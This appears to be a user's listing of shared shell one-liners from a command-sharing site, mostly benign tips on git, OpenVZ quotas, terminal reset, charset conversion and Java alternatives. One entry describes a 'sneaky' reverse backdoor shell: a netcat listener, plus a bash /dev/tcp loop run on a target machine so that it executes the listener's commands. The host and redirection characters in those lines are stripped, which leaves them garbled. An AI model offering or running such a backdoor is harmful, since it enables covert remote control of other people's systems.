Commands by Goodmedia68 (0)

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Switch to the previous branch used in git(1)
Very useful if you keep switching between the same two branches all the time.

Get disk quota usage openvz using vzlist
OpenVZ: Get disk quota usage for your VEID

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

separate (emphasize) digital strings from other text

calculate in commandline with bash
Only works for integer arithmetic.

Clean your broken terminal
If something fracks up your terminal, just type in 'reset' and everything should be good again.

Big Countdown Clock with hours, minutes and seconds
Figlet is easy to find for download on the internet, and works for any text. Quite cool.

Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
I use it sometimes when I work on a french file transferred from a windows XP to a Debian-UTF8 system. Those are not correctly displayed: ? ? ? and so on $man tcs # for all charsets

Update program providing java on Debian
Lets you set all the java alternatives at once to a matching version. Also has options for just changing the jre or the plugin.

list block devices
Shows all block devices in a tree with descruptions of what they are.

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